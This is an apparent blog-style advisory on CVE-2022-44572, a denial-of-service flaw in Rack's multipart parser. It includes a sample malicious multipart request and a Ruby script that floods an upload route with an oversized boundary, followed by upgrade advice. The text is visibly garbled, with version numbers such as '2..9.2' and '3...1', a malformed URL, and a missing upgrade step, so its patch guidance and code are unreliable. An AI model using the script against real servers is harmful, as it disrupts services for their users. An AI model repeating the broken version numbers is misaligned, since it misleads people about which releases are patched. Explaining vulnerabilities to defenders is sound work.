CVE-2022-44572 - Denial of Service in Rack Multipart Parser

If you’re running any Ruby on Rails application, there’s a good chance you depend on a library called Rack. Rack is the backbone for handling web requests in Rails and many Ruby frameworks. In late 2022, a serious security vulnerability—CVE-2022-44572—was disclosed. This flaw put many web apps at risk of a Denial of Service (DoS) attack via the way Rack handles file uploads and form data.

Below, I’ll break down what this CVE means, how attackers could exploit it, which versions are patched, and what you should do about it. Plus, you’ll get code snippets and resources for a deeper dive.

CVE-2022-44572 in Plain English

- Vulnerability: Slow and broken parsing when handling certain multipart data (used for file uploads).
- Component: Multipart parser in Rack.
- Impact: Attackers can send specially crafted HTTP requests that eat up server CPU and memory, possibly crashing your Rails app or degrading service for legit users.

Fixed in: 2..9.2, 2.1.4.2, 2.2.4.1, and 3...1

If your app accepts file uploads or uses forms with files (and you use Rails, Sinatra, or other Rack-based apps), you’re affected.

The Core Problem

Rack parses HTTP requests with the Content-Type: multipart/form-data header. This is standard for forms and file uploads. Boundaries help Rack figure out where each field starts and ends.

RFC2183 boundary parsing expects boundaries to look like

------Boundary123
Content-Disposition: form-data; name="myfile"; filename="hello.txt"

But the vulnerable Rack parser could get stuck for a long time when fed certain weird or maliciously crafted boundaries or headers. An attacker can make your server do a lot of needless work, making it slow or unresponsive.

Example Attack: Hitting Your App with Malicious Multipart Requests

How could an attacker do this? By sending POST requests with deeply nested, weird-looking boundaries. The parser will keep trying (and failing) to process these, eating up resources.

Sample Malicious Request (simplified)

POST /upload HTTP/1.1
Host: victim.com
Content-Type: multipart/form-data; boundary=--maliciousboundary

----maliciousboundary
Content-Disposition: form-data; name="file"; filename="exploit.txt"

<lots of content and weird headers that confuse the parser>
...
----maliciousboundary--

If you automate this, a server could get swamped quickly.

Below is an example exploit script in Ruby, showing how an attacker might automate such a DoS

require 'net/http'

uri = URI('http://localhost:300/uploads';) # Point to vulnerable route

boundary = "a" * 100_000  # Very long boundary string to slow down parsing
body = <<~EOF
  --#{boundary}
  Content-Disposition: form-data; name="file"; filename="test.txt"

  hello world
  --#{boundary}--
EOF

req = Net::HTTP::Post.new(uri)
req['Content-Type'] = "multipart/form-data; boundary=#{boundary}"
req.body = body

Net::HTTP.start(uri.host, uri.port) {|http|
  http.request(req)
}

Run this many times (or with more complex headers/values), and your server can choke.

3...1 (or later)

# In your Gemfile
gem 'rack', '>= 2..9.2'

Then run

bundle update rack

2. Deploy as Soon as Possible

Restart your app and check your logs for any strange or slow multipart submissions.

References and Further Reading

- Official Advisory on GitHub
- CVE Details
- Discussion on Hacker News
- How Multipart Forms Work (MDN)

Conclusion

CVE-2022-44572 shows how even a “boring” library update can have major implications. If you run Rails or any Rack-based Ruby app, update now. It only takes a single malicious upload to grind your server to a halt.

Stay safe, keep dependencies updated, and watch those multipart requests!

*This post is exclusive content, summarized in simple American English, and tailored for developers who want practical, actionable info about CVE-2022-44572.*

Timeline

Published on: 02/09/2023 20:15:00 UTC
Last modified on: 02/17/2023 18:55:00 UTC